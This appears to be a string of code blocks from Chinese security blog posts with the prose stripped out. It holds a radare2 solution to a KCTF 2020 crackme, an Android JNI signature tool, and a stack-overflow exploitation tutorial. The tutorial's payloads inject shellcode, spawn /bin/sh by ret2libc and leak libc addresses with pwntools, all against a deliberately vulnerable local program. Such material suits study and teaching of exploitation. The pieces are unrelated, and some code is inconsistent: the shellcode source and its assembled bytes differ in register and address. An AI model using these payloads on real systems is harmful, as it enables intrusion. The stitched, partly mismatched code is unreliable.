wget http://dl-cdn.alpinelinux.org/alpine/latest-stable/main/x86/apk-tools-static-2.10.5-r1.apk
tar -zxvf apk-tools-static-2.10.5-r1.apk
./sbin/apk.static -X https://mirrors.tuna.tsinghua.edu.cn --initdb add apk-tools
apk update
rm -rf ./sbin

sed -i 's/dl-cdn.alpinelinux.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apk/repositories

apk add radare2
apk add python3

$ rabin2 -I kctf2020.exe
arch     x86
baddr    0x140000000
binsz    12288
bintype  pe
bits     64
canary   false
retguard false
class    PE32+
cmp.csum 0x0000bcb6
compiled Thu Nov 12 03:49:32 2020
crypto   false
dbg_file D:\Users\admin\Documents\Visual Studio 2015\Projects\ctf2020\ConsoleApplication1\x64\Release\ConsoleApplication1.pdb
endian   little
havecode true
hdr.csum 0x00000000
guid     4EF50FB8F5E74CC481D01589FC111B1A1
laddr    0x0
lang     c
linenum  false
lsyms    false
machine  AMD 64
maxopsz  16
minopsz  1
nx       true
os       windows
overlay  false
cc       ms
pcalign  0
pic      true
relocs   false
signed   false
sanitiz  false
static   false
stripped false
subsys   Windows CUI
va       true

$ r2 kctf2020.exe
 -- 💺
[0x14000154c]> s main
[0x140001000]> af
[0x140001000]> pd 20
            ;-- section..text:
┌ 459: int main (int argc, char **argv, char **envp);
│ bp: 7 (vars 7, args 0)
│ sp: 14 (vars 14, args 0)
│ rg: 0 (vars 0, args 0)
│           0x140001000      4055           push rbp                   ; [00] -r-x section size 8192 named .text
│           0x140001002      488dac24c0fe.  lea rbp, [rsp - 0x140]
│           0x14000100a      4881ec400200.  sub rsp, 0x240
│           0x140001011      488b05e82f00.  mov rax, qword [section..data] ; [0x140004000:8]=0x2b992ddfa232 ; "2\xa2\xdf-\x99+"
│           0x140001018      4833c4         xor rax, rsp
│           0x14000101b      488985300100.  mov qword [var_130h], rax
│           0x140001022      33d2           xor edx, edx
│           0x140001024      488d4c2430     lea rcx, [var_30h]
│           0x140001029      41b800010000   mov r8d, 0x100             ; 256
│           0x14000102f      e8ce0e0000     call 0x140001f02
│           0x140001034      33d2           xor edx, edx
│           0x140001036      488d4d30       lea rcx, [var_bp_30h]
│           0x14000103a      41b800010000   mov r8d, 0x100             ; 256
│           0x140001040      e8bd0e0000     call 0x140001f02
│           0x140001045      488d0dd42100.  lea rcx, str.KCTF_2020     ; 0x140003220 ; "KCTF 2020!\n"
│           0x14000104c      e8ff010000     call 0x140001250
│           0x140001051      488d0dd82100.  lea rcx, str.http:__bbs.pediy.com ; 0x140003230 ; "http://bbs.pediy.com\n"
│           0x140001058      e8f3010000     call 0x140001250
│           0x14000105d      488d0de42100.  lea rcx, str.Please_input_your_flag: ; 0x140003248 ; "Please input your flag: "
│           0x140001064      e8e7010000     call 0x140001250

[0x140001000]> s 0x140001250
[0x140001250]> af
[0x140001250]> pdf
            ; CALL XREFS from main @ 0x14000104c, 0x140001058, 0x140001064, 0x14000119b, 0x1400011ab
┌ 85: int printf (const char *format);
│           ; var int64_t var_20h_2 @ rsp+0x20
│           ; var int64_t var_8h @ rsp+0x50
│           ; var int64_t var_10h @ rsp+0x58
│           ; var int64_t var_18h @ rsp+0x60
│           ; var int64_t var_20h @ rsp+0x68
│           ; arg int64_t arg1 @ rcx
│           ; arg int64_t arg2 @ rdx
│           ; arg int64_t arg3 @ r8
│           ; arg int64_t arg4 @ r9
│           0x140001250      48894c2408     mov qword [var_8h], rcx    ; arg1
│           0x140001255      4889542410     mov qword [var_10h], rdx   ; arg2
│           0x14000125a      4c89442418     mov qword [var_18h], r8    ; arg3
│           0x14000125f      4c894c2420     mov qword [var_20h], r9    ; arg4
│           0x140001264      53             push rbx
│           0x140001265      56             push rsi
│           0x140001266      57             push rdi
│           0x140001267      4883ec30       sub rsp, 0x30
│           0x14000126b      488bf9         mov rdi, rcx
│           0x14000126e      488d742458     lea rsi, [var_10h]
│           0x140001273      b901000000     mov ecx, 1
│           0x140001278      ff150a1f0000   call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func] ; [0x140003188:8]=0x3a98 reloc.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
│           0x14000127e      488bd8         mov rbx, rax
│           0x140001281      e8baffffff     call fcn.140001240
│           0x140001286      4533c9         xor r9d, r9d
│           0x140001289      4889742420     mov qword [var_20h_2], rsi
│           0x14000128e      4c8bc7         mov r8, rdi
│           0x140001291      488bd3         mov rdx, rbx
│           0x140001294      488b08         mov rcx, qword [rax]
│           0x140001297      ff15e31e0000   call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vfprintf] ; [0x140003180:8]=0x3aaa reloc.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vfprintf
│           0x14000129d      4883c430       add rsp, 0x30
│           0x1400012a1      5f             pop rdi
│           0x1400012a2      5e             pop rsi
│           0x1400012a3      5b             pop rbx
└           0x1400012a4      c3             ret

[0x140001250]> af printf
[0x140001250]> s-
[0x140001000]> pd 20
            ;-- section..text:
┌ 459: int main (int argc, char **argv, char **envp);
│ bp: 7 (vars 7, args 0)
│ sp: 14 (vars 14, args 0)
│ rg: 0 (vars 0, args 0)
│           0x140001000      4055           push rbp                   ; [00] -r-x section size 8192 named .text
│           0x140001002      488dac24c0fe.  lea rbp, [rsp - 0x140]
│           0x14000100a      4881ec400200.  sub rsp, 0x240
│           0x140001011      488b05e82f00.  mov rax, qword [section..data] ; [0x140004000:8]=0x2b992ddfa232 ; "2\xa2\xdf-\x99+"
│           0x140001018      4833c4         xor rax, rsp
│           0x14000101b      488985300100.  mov qword [var_130h], rax
│           0x140001022      33d2           xor edx, edx
│           0x140001024      488d4c2430     lea rcx, [var_30h]
│           0x140001029      41b800010000   mov r8d, 0x100             ; 256
│           0x14000102f      e8ce0e0000     call 0x140001f02
│           0x140001034      33d2           xor edx, edx
│           0x140001036      488d4d30       lea rcx, [var_bp_30h]
│           0x14000103a      41b800010000   mov r8d, 0x100             ; 256
│           0x140001040      e8bd0e0000     call 0x140001f02
│           0x140001045      488d0dd42100.  lea rcx, str.KCTF_2020     ; 0x140003220 ; "KCTF 2020!\n"
│           0x14000104c      e8ff010000     call printf                ; int printf(const char *format)
│           0x140001051      488d0dd82100.  lea rcx, str.http:__bbs.pediy.com ; 0x140003230 ; "http://bbs.pediy.com\n"
│           0x140001058      e8f3010000     call printf                ; int printf(const char *format)
│           0x14000105d      488d0de42100.  lea rcx, str.Please_input_your_flag: ; 0x140003248 ; "Please input your flag: "
│           0x140001064      e8e7010000     call printf                ; int printf(const char *format)

│           0x140001069      41b800010000   mov r8d, 0x100             ; 256
│           0x14000106f      488d542430     lea rdx, [var_30h]
│           0x140001074      488d0de92100.  lea rcx, [0x140003264]     ; "%s"
│           0x14000107b      e860010000     call scanf                 ; int scanf(const char *format)
│           0x140001080      488d542430     lea rdx, [var_30h]
│           0x140001085      4883c9ff       or rcx, 0xffffffffffffffff
│           0x140001089      0f1f80000000.  nop dword [rax]
│       ┌─> 0x140001090      48ffc1         inc rcx
│       ╎   0x140001093      803c0a00       cmp byte [rdx + rcx], 0
│       └─< 0x140001097      75f7           jne 0x140001090
│           0x140001099      83f90c         cmp ecx, 0xc               ; 12
│       ┌─< 0x14000109c      0f8502010000   jne 0x1400011a4
│       │   0x1400010a2      807c243066     cmp byte [var_30h], 0x66
│      ┌──< 0x1400010a7      0f85f7000000   jne 0x1400011a4
│      ││   0x1400010ad      807c24316c     cmp byte [var_31h], 0x6c
│     ┌───< 0x1400010b2      0f85ec000000   jne 0x1400011a4
│     │││   0x1400010b8      807c243261     cmp byte [var_32h], 0x61
│    ┌────< 0x1400010bd      0f85e1000000   jne 0x1400011a4
│    ││││   0x1400010c3      807c243367     cmp byte [var_33h], 0x67
│   ┌─────< 0x1400010c8      0f85d6000000   jne 0x1400011a4
│   │││││   0x1400010ce      807c24347b     cmp byte [var_34h], 0x7b
│  ┌──────< 0x1400010d3      0f85cb000000   jne 0x1400011a4
│  ││││││   0x1400010d9      807c243b7d     cmp byte [var_3bh], 0x7d
│ ┌───────< 0x1400010de      0f85c0000000   jne 0x1400011a4

0x1400010e4      440fb74c2439   movzx r9d, word [var_39h]
0x1400010ea      4c8d442420     lea r8, [var_20h]
0x1400010ef      448b542435     mov r10d, dword [var_35h]
0x1400010f4      33c0           xor eax, eax
0x1400010f6      6644894c2424   mov word [var_24h], r9w
0x1400010fc      8bd0           mov edx, eax
0x1400010fe      4489542420     mov dword [var_20h], r10d
0x140001103      0f1f4000       nop dword [rax]
0x140001107      660f1f840000.  nop word [rax + rax]

 ┌─> 0x140001110      410fb608       movzx ecx, byte [r8]
 ╎   0x140001114      80e930         sub cl, 0x30               ; 48
 ╎   0x140001117      80f909         cmp cl, 9                  ; 9
┌──< 0x14000111a      0f8784000000   ja 0x1400011a4
│╎   0x140001120      ffc2           inc edx
│╎   0x140001122      49ffc0         inc r8
│╎   0x140001125      83fa06         cmp edx, 6                 ; 6
│└─< 0x140001128      72e6           jb 0x140001110
│    0x14000112a      ...

     0x14000112a      0fb6542437     movzx edx, byte [var_37h]
     0x14000112f      4c8d053e2100.  lea r8, [0x140003274]      ; "2;=EFI"
     0x140001136      0fb64c2436     movzx ecx, byte [var_36h]
     0x14000113b      80ea30         sub dl, 0x30               ; 48
     0x14000113e      80e930         sub cl, 0x30               ; 48
     0x140001141      44885530       mov byte [var_bp_30h], r10b
     0x140001145      4102ca         add cl, r10b
     0x140001148      4180e930       sub r9b, 0x30              ; 48
     0x14000114c      02d1           add dl, cl
     0x14000114e      884d31         mov byte [var_bp_31h], cl
     0x140001151      0fb64c2438     movzx ecx, byte [var_38h]
     0x140001156      80e930         sub cl, 0x30               ; 48
     0x140001159      885532         mov byte [var_bp_32h], dl
     0x14000115c      02ca           add cl, dl
     0x14000115e      488d5530       lea rdx, [var_bp_30h]
     0x140001162      4402c9         add r9b, cl
     0x140001165      884d33         mov byte [var_bp_33h], cl
     0x140001168      0fb64c243a     movzx ecx, byte [var_3ah]
     0x14000116d      80e930         sub cl, 0x30               ; 48
     0x140001170      44884d34       mov byte [var_bp_34h], r9b
     0x140001174      4102c9         add cl, r9b
     0x140001177      884d35         mov byte [var_bp_35h], cl
     0x14000117a      660f1f440000   nop word [rax + rax]
 ┌─> 0x140001180      0fb60c02       movzx ecx, byte [rdx + rax]
 ╎   0x140001184      48ffc0         inc rax
 ╎   0x140001187      413a4c00ff     cmp cl, byte [r8 + rax - 1]
┌──< 0x14000118c      7516           jne 0x1400011a4
│╎   0x14000118e      4883f807       cmp rax, 7                 ; 7
│└─< 0x140001192      75ec           jne 0x140001180
│    0x140001194      488d0de52000.  lea rcx, [0x140003280]     ; "You are winner!\n"
│    0x14000119b      e8b0000000     call printf                ; int printf(const char *format)

buf[0] = flag[0]
buf[1] = buf[0] + flag[1] - 48
buf[2] = buf[1] + flag[2] - 48
buf[3] = buf[2] + flag[3] - 48
buf[4] = buf[3] + flag[4] - 48
buf[5] = buf[4] + flag[5] - 48
if buf == "2;=EFI":
  printf("You are winner!\n")

flag[0] = buf[0]
flag[1] = buf[1] - buf[0] + 48
flag[2] = buf[2] - buf[1] + 48
flag[3] = buf[3] - buf[2] + 48
flag[4] = buf[4] - buf[3] + 48
flag[5] = buf[5] - buf[4] + 48

$ ./solve.py
flag: b'292813'

$ wine64 kctf2020.exe
0025:err:plugplay:runloop_thread Couldn't open IOHIDManager.
0009:fixme:vcruntime:__telemetry_main_invoke_trigger (0x0)
KCTF 2020!
http://bbs.pediy.com
Please input your flag: 0009:fixme:msvcrt:MSVCRT__stdio_common_vfscanf options 3 not handled
flag{292813}
You are winner!
0009:fixme:vcruntime:__telemetry_main_return_trigger (0x0)

JadxArgs jadxArgs = new JadxArgs();
jadxArgs.setDebugInfo(false);
jadxArgs.setSkipResources(true);
jadxArgs.getInputFiles().add(new File(args[0]));
JadxDecompiler jadx = new JadxDecompiler(jadxArgs);
jadx.load();

$ java -jar JadxFindJNI/JadxFindJNI.jar
Usage: JadxFindJNI.jar <file.apk> <output.json>

{
  "Java_com_evilpan_demojni_MainActivity_testOverload__I": {
    "argumentSignature": "I",
    "argumentTypes": [
      "jint"
    ],
    "returnType": "jint",
    "isStatic": false
  },
  "Java_com_evilpan_demojni_MainActivity_testStatic": {
    "argumentSignature": "I",
    "argumentTypes": [
      "jint"
    ],
    "returnType": "jint",
    "isStatic": true
  },
  "Java_com_evilpan_demojni_MainActivity_stringFromJNI": {
    "argumentSignature": "",
    "argumentTypes": [],
    "returnType": "jstring",
    "isStatic": false
  },
  "Java_com_evilpan_demojni_MainActivity_c_1testArray": {
    "argumentSignature": "[I",
    "argumentTypes": [
      "jintArray"
    ],
    "returnType": "void",
    "isStatic": false
  },
 	...
}

idaapi.get_struc_id('JNIInvokeInterface_') != idaapi.BADADDR

idc.parse_decl('JNIInvokeInterface_ *if', idc.PT_SILENT)

int foo(int arg1, int arg2) {
    int local1;
    int local2;
    // ...
}

// victim.c
# include <stdio.h>
int foo() {
    char buf[10];
    scanf("%s", buf);
    printf("hello %s\n", buf);
    return 0;
}
int main() {
    foo();
    printf("good bye!\n");
    return 0;
}
void dummy() {
    __asm__("nop; jmp esp");
}

# 运行时禁用ASLR(系统级):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# 或者:
# sudo sysctl kernel.randomize_va_space=0
# 或者新建一个禁用ASLR的bash环境(用户级):
# setarch `uname -m` -R /bin/bash

# 编译时禁用canary和NX:
gcc victim.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack

# 低地址 ---> 高地址
...[shellcode]...[返回地址]...
# 或者
...[返回地址]...[shellcode]...

$ ragg2 -P 40 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN

$ gdb victim
(gdb) run
Starting program: /home/pan/victim 
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN

Program received signal SIGSEGV, Segmentation fault.
0x41494141 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x41494141

(gdb) disassemble foo
Dump of assembler code for function foo:
   0x0804848b <+0>:	push   ebp
   0x0804848c <+1>:	mov    ebp,esp
   0x0804848e <+3>:	push   ebx
   0x0804848f <+4>:	sub    esp,0x14
   0x08048492 <+7>:	call   0x80483c0 <__x86.get_pc_thunk.bx>
   0x08048497 <+12>:	add    ebx,0x1b69
   0x0804849d <+18>:	sub    esp,0x8
   0x080484a0 <+21>:	lea    eax,[ebp-0x12]
   0x080484a3 <+24>:	push   eax
   0x080484a4 <+25>:	lea    eax,[ebx-0x1a50]
   0x080484aa <+31>:	push   eax
   0x080484ab <+32>:	call   0x8048370 <__isoc99_scanf@plt>
   0x080484b0 <+37>:	add    esp,0x10
   0x080484b3 <+40>:	sub    esp,0x8
   0x080484b6 <+43>:	lea    eax,[ebp-0x12]
   0x080484b9 <+46>:	push   eax
   0x080484ba <+47>:	lea    eax,[ebx-0x1a4d]
   0x080484c0 <+53>:	push   eax
   0x080484c1 <+54>:	call   0x8048340 <printf@plt>
   0x080484c6 <+59>:	add    esp,0x10
   0x080484c9 <+62>:	mov    eax,0x0
   0x080484ce <+67>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080484d1 <+70>:	leave  
   0x080484d2 <+71>:	ret    
End of assembler dump.

(gdb) b foo
Breakpoint 1 at 0x656: file victim.c, line 5.
(gdb) run
...
(gdb) info reg
eax            0xf7fa6dbc	-134582852
ecx            0xffffc5a0	-14944
edx            0xffffc5c4	-14908
ebx            0x804a000	134520832
esp            0xffffc560	0xffffc560
ebp            0xffffc578	0xffffc578
...

$ rasm2 -a x86 -b 32 "nop; jmp esp"
90ffe4

$ r2 ./victim
[0x08048390]> /x 90ffe4
Searching 3 bytes in [0x8048000-0x8048754]
hits: 1
Searching 3 bytes in [0x8049f08-0x804a028]
hits: 0
0x08048520 hit0_0 90ffe4

$ objdump -d ./victim -M intel | grep 'ff e4' -B 1
 8048520:	90                   	nop
 8048521:	ff e4                	jmp    esp

mov eax, 0x01;
mov ebx, 66;
int 0x80;

$ rasm2 -a x86 -b 32 -f shellcode.asm 
b801000000bb42000000cd80

python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'"

# 正常执行
$ echo "world" | ./victim 
hello world
good bye!
$ echo $?
0
# payload执行
$ python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'" | ./victim
hello AAAAAAAAAAAAAAAAAAAAAA!����������������������������������������������������

$ echo $?
66

$ LD_TRACE_LOADED_OBJECTS=1 ./victim 
	linux-gate.so.1 (0xf7fd7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
	/lib/ld-linux.so.2 (0xf7fd9000)

$ rabin2 -s /lib/i386-linux-gnu/libc.so.6 | grep system
246 0x00113de0 0x00113de0 GLOBAL   FUNC   68 svcerr_systemerr
628 0x0003ab30 0x0003ab30 GLOBAL   FUNC   55 __libc_system
1461 0x0003ab30 0x0003ab30   WEAK   FUNC   55 system
# 或者用`readelf`:
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   246: 00113de0    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   628: 0003ab30    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1461: 0003ab30    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
# 或者用`nm`工具也是可以的:
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
0003ab30 T __libc_system
00113de0 T svcerr_systemerr
0003ab30 W system

$ rax2 =16 0xf7df1000+0x3ab30
0xf7e2bb30

$ rafind2 -z -s /bin/sh ./victim

$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
0x15ce48
$ rax2 =16 0xf7df1000+0x15ce48
0xf7f4de48

; shellcode_sh.asm
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov eax, esp
push eax
mov edi, 0xf7e2cb30
call edi

$ rasm2 -a x86 -b 32 -f shellcode_sh.asm -C
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x30\xbb\xe2" \
"\xf7\xff\xd3"

$ (python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x30\xbb\xe2\xf7\xff\xd3'" && cat) | ./victim
hello AAAAAAAAAAAAAAAAAAAAAA!���������������������������������������������������1�Ph//shh/bin��P�0�����
whoami
pan
uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux

            Process Address                                   Process Address
            Space                                             Space
           +---------------------+                           +---------------------+
           |                     |                           |                     |
   0xFFFF  |  Top of stack       |                   0xFFFF  |  Top of stack       |
       +   |                     |                       +   |                     |
       |   +---------------------+                       |   +---------------------+
       |   |  malicious code     <-----+                 |   |  malicious code     |
       |   +---------------------+     |                 |   +---------------------+
       |   |                     |     |                 |   |                     |
       |   |                     |     |                 |   |                     |
       |   |                     |     |                 |   |                     |
       |   +---------------------|     |                 |   +---------------------|        
       |   |  return address     |     |                 |   |  return address     |
       |   +---------------------+     |                 |   +---------------------|
 stack |   |  saved EBP          +-----+           stack |   |  saved EBP          |
growth |   +---------------------+                growth |   +---------------------+
       |   |  local variables    |                       |   | **stack canary**    |
       |   +---------------------+                       |   +---------------------+
       |   |                     |                       |   |  local variables    |
       |   |  buffer             |                       |   +---------------------+
       |   |                     |                       |   |                     |
       |   |                     |                       |   |  buffer             |
       |   +---------------------+                       |   |                     |
       |   |                     |                       |   |                     |
       |   |                     |                       |   +---------------------+
       |   |                     |                       |   |                     |
       v   |                     |                       v   |                     |
   0x0000  |                     |                   0x0000  |                     |
           +---------------------+                           +---------------------+

/* Set up the stack checker's canary.  */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// ...
__stack_chk_guard = stack_chk_guard;

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
  union
  {
    uintptr_t num;
    unsigned char bytes[sizeof (uintptr_t)];
  } ret = { 0 };
  // __stack_chk_guard为terminator型canary
  if (dl_random == NULL)
    {
      ret.bytes[sizeof (ret) - 1] = 255;
      ret.bytes[sizeof (ret) - 2] = '\n';
    }
  // __stack_chk_guard为random型canary
  else
    {
      memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
      ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
      ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else
# error "BYTE_ORDER unknown"
#endif
    }
  return ret.num;
}

void foo() {
    char buf[16];
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
}
void bar() {
    char buf[16];
    scanf("%s", buf);
}
int main() {
    foo();
    bar();
}

// relocs.c
int main() {
    char buf[16];
    fscanf(stdin, "%s", buf);
    printf("input is %s\n", buf);
}

$ gcc -m32 relocs.c -o relocs
$ readelf --relocs ./relocs 

Relocation section '.rel.dyn' at offset 0x3bc contains 10 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00001ee8  00000008 R_386_RELATIVE   
00001eec  00000008 R_386_RELATIVE   
00001ff4  00000008 R_386_RELATIVE   
0000201c  00000008 R_386_RELATIVE   
00001fe4  00000106 R_386_GLOB_DAT    00000000   _ITM_deregisterTMClone
00001fe8  00000406 R_386_GLOB_DAT    00000000   __cxa_finalize@GLIBC_2.1.3
00001fec  00000506 R_386_GLOB_DAT    00000000   __gmon_start__
00001ff0  00000706 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0
00001ff8  00000806 R_386_GLOB_DAT    00000000   _Jv_RegisterClasses
00001ffc  00000906 R_386_GLOB_DAT    00000000   _ITM_registerTMCloneTa

Relocation section '.rel.plt' at offset 0x40c contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000200c  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
00002010  00000307 R_386_JUMP_SLOT   00000000   __isoc99_fscanf@GLIBC_2.7
00002014  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

$ readelf -S relocs | egrep 'got|plt'
  [10] .rel.plt          REL             0000040c 00040c 000018 08  AI  5  24  4
  [12] .plt              PROGBITS        00000450 000450 000040 04  AX  0   0 16
  [13] .plt.got          PROGBITS        00000490 000490 000010 00  AX  0   0  8
  [23] .got              PROGBITS        00001fe4 000fe4 00001c 04  WA  0   0  4
  [24] .got.plt          PROGBITS        00002000 001000 000018 04  WA  0   0  4

gcc victim.c -o victim_nx -g -m32 -masm=intel -no-pie -fno-stack-protector -z noexecstack 

$ gdb ./victim_nx
...
Reading symbols from ./victim_nx...done.
(gdb) source ~/tools/peda/peda.py 
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ run
Starting program: /home/pan/victim_nx
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
...
Stopped reason: SIGSEGV
0x41494141 in ?? ()
gdb-peda$ p $eip
$1 = (void (*)()) 0x41494141

gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xf7e2bb30 <system>

gdb-peda$ searchmem /bin/sh\x00
Searching for '/bin/sh\x00' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f4de48 ("/bin/sh")

; leave
mov esp, ebp
pop ebp
; ret
pop eip

...[22字节]+[0xf7f4de48]+[4字节]+[0xf7e2bb30]

$ (python -c 'print "A"*22 + "\x30\xbb\xe2\xf7" + "B"*4 + "\x48\xde\xf4\xf7"' && cat) | ./victim_nx 
hello AAAAAAAAAAAAAAAAAAAAAA0���H���H���
whoami
pan
uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux

mov eax, 0x01;
mov ebx, 66;
int 0x80;

; 片段1
mov eax, 0x01;
ret
; 片段2
mov ebx, 66;
int 0x80;
ret

---栈溢出--->
.............[片段1地址(返回地址)][片段2地址]...[片段N地址]

$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-gate.so.1 (0xf7fd7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
	/lib/ld-linux.so.2 (0xf7fd9000)
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-gate.so.1 (0xf7fd7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
	/lib/ld-linux.so.2 (0xf7fd9000)

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-gate.so.1 (0xf7748000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7562000)
	/lib/ld-linux.so.2 (0xf774a000)
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-gate.so.1 (0xf7728000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7542000)
	/lib/ld-linux.so.2 (0xf772a000)

0 – No randomization. Everything is static.
1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized.
2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.

       First execution            Second Execution           Third Execution

  +   +------------------+       +------------------+       +------------------+
  |   |                  |       |                  |       |                  |
  |   |                  |       +------------------+       |                  |
  |   +------------------+       |   executable     |       |                  |
  |   |   executable     |       |                  |       +------------------+
  |   |                  |       +------------------+       |   executable     |
  |   +------------------+       |                  |       |                  |
  |   |                  |       |                  |       +------------------+
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       +------------------+
  |   |                  |       |      heap        |       |                  |
  |   +------------------+       |                  |       |      heap        |
  |   |                  |       +------------------+       |                  |
  |   |      heap        |       |                  |       +------------------+
  |   |                  |       |                  |       |                  |
  |   +------------------+       |                  |       |                  |
  |   |   libraries      |       |                  |       +------------------+
  |   |                  |       |                  |       |   libraries      |
  |   +------------------+       |                  |       |                  |
  |   |                  |       +------------------+       +------------------+
  |   |                  |       |   libraries      |       |                  |
  |   |                  |       |                  |       |                  |
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       +------------------+
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       |      Stack       |
  |   +------------------+       |      Stack       |       |                  |
  |   |                  |       |                  |       |                  |
  |   |      Stack       |       |                  |       +------------------+
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       |                  |
  |   +------------------+       |                  |       |                  |
  |   |                  |       |                  |       |                  |
  v   +------------------+       +------------------+       +------------------+

static int load_elf_binary(struct linux_binprm *bprm)
{
//...
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
        current->flags |= PF_RANDOMIZE;
//...
	/* Do this so that we can load the interpreter, if need be.  We will
	   change some of these later */
	retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
				 executable_stack);
//...
	/* N.B. passed_fileno might not be initialized? */
	current->mm->end_code = end_code;
	current->mm->start_code = start_code;
	current->mm->start_data = start_data;
	current->mm->end_data = end_data;
	current->mm->start_stack = bprm->p;

	if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
		current->mm->brk = current->mm->start_brk =
			arch_randomize_brk(current->mm);
#ifdef compat_brk_randomized
		current->brk_randomized = 1;

/*
 * NOTE: Historical use of randomize_range, which this replaces, presumed that
 * @start was already page aligned.  We now align it regardless.
 *
 * Return: A page aligned address within [start, start + range).  On error,
 * @start is returned.
 */
unsigned long
randomize_page(unsigned long start, unsigned long range)
{
	if (!PAGE_ALIGNED(start)) {
		range -= PAGE_ALIGN(start) - start;
		start = PAGE_ALIGN(start);
	}

	if (start > ULONG_MAX - range)
		range = ULONG_MAX - start;

	range >>= PAGE_SHIFT;

	if (range == 0)
		return start;

	return start + (get_random_long() % range << PAGE_SHIFT);
}

$ gdb ./victim_nx
(gdb) source ~/tools/peda/peda.py
gdb-peda$ aslr on
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ aslr 
ASLR is ON

...[22字节]+[puts@plt]+[entry_point]+[puts@got]

# exp.py
# -*- coding: utf-8 -*-
from pwn import *

# 地址
puts_plt = 0x8048350
puts_got = 0x804a010
entry_point = 0x8048390

def main():
    p = process('./victim_nx')
    # stage 1
    payload = 'A' * 22
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
    payload = payload + ropchain
    log.info('payload: {}'.format(repr(payload)))
    p.clean()
    p.sendline(payload)
    p.recvlines(1)  #先忽略掉正常输出的一行
    leak = p.recv(4)
    leak = u32(leak)
    log.info('puts@plt is at: 0x{:x}'.format(leak))
    p.clean()

if __name__ == '__main__':
    main()

objdump -d -j .plt ./victim_nx | grep puts
08048350 <puts@plt>:

readelf --relocs ./victim_nx | grep puts
0804a010  00000207 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0

$ readelf -h ./victim_nx | grep Entry
  Entry point address:               0x8048390

$ python exp.py 
[+] Starting local process './victim_nx': pid 32682
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf7558870
